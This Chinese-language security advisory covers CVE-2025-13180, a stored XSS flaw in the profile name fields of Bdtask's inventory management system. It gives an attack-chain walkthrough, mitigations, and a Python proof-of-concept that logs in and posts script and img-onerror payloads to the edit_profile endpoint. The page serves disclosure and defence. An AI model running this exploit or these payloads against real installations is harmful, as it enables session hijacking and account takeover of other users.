IPBUF安全漏洞报告
English
CVE-2025-13180 CVSS 3.5 低危

CVE-2025-13180 Bdtask库存管理系统edit_profile页面XSS漏洞

披露日期: 2025-11-14

漏洞信息

漏洞编号
CVE-2025-13180
漏洞类型
XSS (跨站脚本攻击)
CVSS评分
3.5 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Bdtask/CodeCanyon Wholesale Inventory Control and Inventory Management System

相关标签

CVE-2025-13180XSS跨站脚本攻击存储型XSSBdtask库存管理系统ed it_profileCodeCanyon

漏洞概述

CVE-2025-13180是Bdtask公司开发的CodeCanyon批发库存控制和库存管理系统中的一个存储型跨站脚本(XSS)漏洞。该漏洞存在于/ed it_profile功能的first_name和last_name参数中,攻击者可以通过在这些字段中注入恶意JavaScript代码来实现XSS攻击。由于该漏洞影响系统版本至2025年3月20日,且漏洞利用代码已公开披露,存在被恶意利用的风险。攻击者利用该漏洞可以窃取用户会话Cookie、劫持用户账户、进行钓鱼攻击或修改页面内容显示。虽然该漏洞的CVSS评分较低(3.5分),但对于处理敏感商业数据的库存管理系统而言,仍需及时修复以防止潜在的安全风险。系统供应商在收到漏洞报告后未做出任何回应,导致漏洞长期存在。

技术细节

该漏洞是一个存储型XSS(Stored XSS)漏洞,存在于/ed it_profile页面处理用户输入的过程中。当用户修改个人资料时,系统未对first_name和last_name参数进行充分的输入验证和输出编码。攻击者可以在这些字段中插入恶意脚本代码,如<script>alert(document.cookie)</script>,该代码会被永久存储在服务器数据库中。当其他用户(如管理员)访问包含恶意代码的页面时,攻击脚本会在受害者浏览器中执行,从而实现会话劫持、敏感信息窃取等恶意操作。由于攻击向量为网络远程攻击(AV:N),且需要低权限认证(PR:L),任何已注册用户都可能利用此漏洞。攻击成功需要用户交互(UI:R),即受害者需要访问包含恶意脚本的页面。

攻击链分析

STEP 1
步骤1
攻击者登录目标系统Bdtask库存管理系统,使用低权限账号访问/ed it_profile页面
STEP 2
步骤2
在first_name或last_name参数中注入恶意XSS payload,如<script>alert(document.cookie)</script>
STEP 3
步骤3
系统未对输入进行过滤和编码,将恶意脚本存储到数据库中
STEP 4
步骤4
当管理员或其他用户查看攻击者个人资料时,恶意脚本在受害者浏览器中执行
STEP 5
步骤5
攻击者通过XSS成功窃取用户会话Cookie、劫持账户或进行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-13180 XSS PoC - Bdtask Inventory Management System # Target: /edit_profile endpoint # Payload: Stored XSS in first_name/last_name fields import requests import re target_url = "http://target.com/edit_profile" login_url = "http://target.com/login" # Authentication credentials credentials = { "email": "[email protected]", "password": "password123" } # XSS payload for first_name field xss_payload_first_name = '<script>alert(document.cookie)</script>' # Alternative XSS payload for last_name field xss_payload_last_name = '<img src=x onerror=alert("XSS")>' def exploit_xss(): # Step 1: Login to the system session = requests.Session() login_response = session.post(login_url, data=credentials) if login_response.status_code != 200: print("[-] Login failed") return False print("[+] Login successful") # Step 2: Submit XSS payload via edit_profile profile_data = { "first_name": xss_payload_first_name, "last_name": xss_payload_last_name, "email": "[email protected]", # Add other required fields } exploit_response = session.post(target_url, data=profile_data) if exploit_response.status_code == 200: print("[+] XSS payload submitted successfully") print("[*] Payload stored in profile fields") print("[*] Payload will execute when profile is viewed") return True else: print("[-] Exploit failed") return False if __name__ == "__main__": exploit_xss()

影响范围

Bdtask Wholesale Inventory Control and Inventory Management System <= 20250320

防御指南

临时缓解措施
在等待官方修复期间,可采取以下临时缓解措施:1)禁用ed it_profile功能或限制其访问;2)部署Web应用防火墙(WAF)规则过滤XSS特征payload;3)对用户输入实施严格的的白名单验证;4)定期审查和清理数据库中可能存在的恶意脚本;5)加强用户权限管理,限制低权限用户修改敏感字段的能力。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表